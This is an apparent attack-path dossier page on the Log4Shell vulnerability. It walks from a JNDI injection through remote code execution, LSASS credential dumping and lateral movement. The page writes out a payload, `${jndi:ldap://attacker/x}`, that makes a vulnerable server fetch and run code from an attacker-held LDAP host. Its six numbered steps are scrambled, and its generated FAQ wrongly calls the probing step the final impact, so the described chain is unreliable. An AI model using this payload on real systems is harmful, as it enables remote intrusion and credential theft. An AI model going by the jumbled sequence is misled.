Skip to content
attack.paths
Iniciar sesión
← RegistryDossier · 6 steps · 5 edges

Log4Shell (CVE-2021-44228) → RCE → lateral

Send `${jndi:ldap://attacker/x}` in any logged field (User-Agent / X-Forwarded-For). Vulnerable log4j 2.x resolves the JNDI URL, fetches a Java class from attacker LDAP, runs it as the app user.

Filed by AD Knowledge Base
§ Kill-chainDrag · zoom · scroll

§ Context

Assumed environment: target runs a Java app with log4j 2.x < 2.17 in the dependency tree. Egress from the app server to the internet (or attacker-controlled internal IP) on LDAP/HTTP.

§ Steps

  1. 01
    Receive LDAP / DNS callbackInitial Access
    T1190— Exploit Public-Facing Application
  2. 02
    Class loaded → arbitrary codeExecution
    T1059— Command and Scripting Interpreter
  3. 03
    Identify Java app with loggingReconnaissance
    W-RECON-FINGERPRINT— Tech Stack Fingerprinting
  4. 04
    LSASS / Linux creds + lateral movementCredential Access
    W-LSASS-PROCDUMP— LSASS via procdump / comsvcs.dll
  5. 05
    Host malicious Java class on attacker LDAPResource Development
    T1583— Acquire Infrastructure
  6. 06
    Probe with `${jndi:ldap://collab}` payloadsExecution
    CVE-LOG4SHELL— Log4Shell (CVE-2021-44228)

§ References

§ Frequently asked

What is the "Log4Shell (CVE-2021-44228) → RCE → lateral" attack path?
Send `${jndi:ldap://attacker/x}` in any logged field (User-Agent / X-Forwarded-For). Vulnerable log4j 2.x resolves the JNDI URL, fetches a Java class from attacker LDAP, runs it as the app user. It chains 6 steps drawn from real-world offensive-security techniques.
What starting position does this attack require?
The first step is Receive LDAP / DNS callback (T1190) — a initial access primitive. Assumed environment: target runs a Java app with log4j 2.
What is the final impact of this kill-chain?
The final step lands on Probe with `${jndi:ldap://collab}` payloads (CVE-LOG4SHELL), which falls under Execution. From here, an operator typically pivots into post-exploitation or maintains persistence.
How can defenders detect or prevent this attack?
Detection and prevention vary per step. Refer to each linked MITRE ATT&CK entry under "References" — every technique on that page lists defensive controls, detection telemetry, and known threat-actor usage.

§ Related dossiers